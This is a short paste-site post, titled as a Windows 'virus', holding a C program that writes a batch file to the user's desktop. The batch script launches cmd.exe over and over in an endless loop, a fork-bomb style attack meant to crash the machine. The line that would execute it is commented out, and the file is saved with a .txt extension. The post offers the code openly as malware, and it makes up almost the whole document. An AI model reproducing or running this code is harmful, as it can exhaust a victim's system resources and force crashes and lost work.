virus Programe Windows OS


SUBMITTED BY: sunil

DATE: Dec. 7, 2015, 7:40 a.m.

FORMAT: Text only

SIZE: 478 Bytes

HITS: 1001

  1. #include<stdio.h>
  2. #include<conio.h>
  3. int main()
  4. {
  5. FILE *fp;
  6. system("title Crash");
  7. system("color 02");
  8. fp = fopen("C:\\Users\\user\\Desktop\\crash.txt","w+");
  9. if (fp==NULL)
  10. {
  11. puts("cannot open file");
  12. getch();
  13. exit(0);
  14. }
  15. fputs("@echo off\n:Crash\nstart C:\\windows\\system32\\CMD.exe\ngoto Crash",fp);
  16. fclose(fp);
  17. //system("C:\\Users\\user\\Desktop\\crash.txt");
  18. getch();
  19. return 0;
  20. }

comments powered by Disqus